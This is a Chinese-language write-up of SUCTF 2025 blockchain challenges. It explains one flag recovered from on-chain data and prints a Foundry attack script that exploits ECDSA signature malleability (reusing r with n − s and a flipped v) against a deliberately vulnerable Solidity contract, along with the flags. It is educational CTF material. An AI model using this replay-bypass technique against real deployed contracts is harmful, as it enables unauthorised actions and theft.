suctf2025 Misc blockchain

  • Q1ngying
  • 更新于 19小时前
  • 阅读 113

SUCTF blockchain wp

Onchain Checkin

image.png 这里是 program 的地址。explorer 上查询到如下数据:

image.png 这两个有一个是测试数据:

image.png

另一个是对的

image.png

但是这里只有两个

image.png

另一个看源码这里:

image.png

这里提到了 account3 的公钥。试了下 base58 也能解出来:

image.png 拼一下:

SUCTF{Con9ra7s!YouHaveFound_7HE_KEeee3ey_P4rt_0f_Th3_F1ag.}

Onchain Magician

源码:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;

contract MagicBox {
    struct Signature {
        uint8 v;
        bytes32 r;
        bytes32 s;
    }

    address magician;
    bytes32 alreadyUsedSignatureHash;
    bool isOpened;

    constructor() {}

    function isSolved() public view returns (bool) {
        return isOpened;
    }

    function getMessageHash(address _magician) public view returns (bytes32) {
        return keccak256(abi.encodePacked("I want to open the magic box", _magician, address(this), block.chainid));
    }

    function _getSignerAndSignatureHash(Signature memory _signature) internal view returns (address, bytes32) {
        address signer = ecrecover(getMessageHash(msg.sender), _signature.v, _signature.r, _signature.s);
        bytes32 signatureHash = keccak256(abi.encodePacked(_signature.v, _signature.r, _signature.s));
        return (signer, signatureHash);
    }

    function signIn(Signature memory signature) external {
        require(magician == address(0), "Magician already signed in");
        (address signer, bytes32 signatureHash) = _getSignerAndSignatureHash(signature);
        require(signer == msg.sender, "Invalid signature");
        magician = signer;
        alreadyUsedSignatureHash = signatureHash;
    }

    function openBox(Signature memory signature) external {
        require(magician == msg.sender, "Only magician can open the box");
        (address signer, bytes32 signatureHash) = _getSignerAndSignatureHash(signature);
        require(signer == msg.sender, "Invalid signature");
        require(signatureHash != alreadyUsedSignatureHash, "Signature already used");
        isOpened = true;
    }
}

分析:和其他的合约 ctf 一样,调用 openBox函数成功使得 isOpened为 ture 即可拿到 flag。

大致一看,这道题需要我们签署原始交易,获得 v, r, s 的值。

  • getMessageHash:该函数用于构造合约预期的 message 摘要
  • _getSignerAndSignatureHash:内部函数,用于还原签名的签署者,以及获得签名的哈希
  • signIn:传递签名(这里要求我们 msg.sender 和还原出来的签名地址相同,同时在此之前没有调用过该函数),设置 magician = signer
  • openBox:传递签名,想要调用成功,需要与上一次调用signIn的 signer 相同,同时签名的哈希不同

大致分析后,我们可以知道:每个人(signer)的交易哈希都只有一个,但是我们需要有两个不同的有效签名。这个实际上是以太坊的签名拓展性攻击漏洞。

关于该漏洞,详细流程可以查看我之前写的一篇文章:https://learnblockchain.cn/article/8281

简单来说:由于以太坊底层使用的是 Secp256K1 椭圆曲线,该椭圆曲线,对于一个签名,有两个有效的 s 值。所以,通过构造,我们得到另一个有效的 s 值,将这个 s 值作为调用openBox中传递即可。

对于计算 v、r、s,这里使用 foundry 的 sign cheatcode

完整 Poc:

import {Script, console2} from "forge-std/Script.sol";
import {MagicBox} from "../src/MagicBox.sol";

contract Attack is Script {
    function run() external {
        MagicBox target = MagicBox(vm.envAddress("target"));
        // secp256k1 曲线的阶 n
        uint256 n = uint256(0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141);

        vm.startBroadcast();
        bytes32 MessageHash = target.getMessageHash(vm.envAddress("account"));
        vm.stopBroadcast();

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(vm.envUint("key"), MessageHash);
        v = 27; // 27 还原出来的失败
        MagicBox.Signature memory signature1 = MagicBox.Signature(v, r, s);

        MagicBox.Signature memory signature2 = MagicBox.Signature(28, r, bytes32(n - uint256(s)));

        vm.startBroadcast();
        target.signIn(signature1);
        target.openBox(signature2);
        vm.stopBroadcast();
    }
}

这里需要注意的问题是:

以太坊的 v 值,有效值为 27 或 28,具体为哪个值,需要我们进行手动修改:

image.png

(第一次为 27 成功,第二次为 27 失败,修改为 28 后成功执行)

image.png

之后广播即可:

image.png

flag:SUCTF{C0n9r4ts!Y0u're_An_0ut5taNd1ng_OnchA1n_Ma9ic1an.}

image.png

点赞 1
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Q1ngying
Q1ngying
0x468F...68bf
本科在读,合约安全学习中......